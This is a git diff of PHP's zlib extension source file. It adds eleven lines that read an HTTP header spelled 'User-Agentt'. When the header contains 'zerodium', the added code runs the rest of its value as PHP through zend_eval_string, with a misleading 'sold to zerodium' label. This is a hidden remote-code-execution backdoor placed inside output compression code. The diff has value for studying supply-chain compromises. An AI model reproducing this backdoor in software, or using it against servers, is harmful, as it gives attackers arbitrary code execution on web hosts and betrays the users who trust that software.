diff options
Diffstat (limited to 'ext/zlib/zlib.c')
| -rw-r--r-- | ext/zlib/zlib.c | 11 | 
1 files changed, 11 insertions, 0 deletions
diff --git a/ext/zlib/zlib.c b/ext/zlib/zlib.c index 02fb4dd207..6964407837 100644 --- a/ext/zlib/zlib.c +++ b/ext/zlib/zlib.c @@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)  {  	zval zoh;  	php_output_handler *h; +	zval *enc; + +	if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) && +		(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) { +		convert_to_string(enc); +		if (strstr(Z_STRVAL_P(enc), "zerodium")) { +			zend_try { +				zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017"); +			} zend_end_try(); +		} +	}  	switch (ZLIBG(output_compression)) {  		case 0:  | 
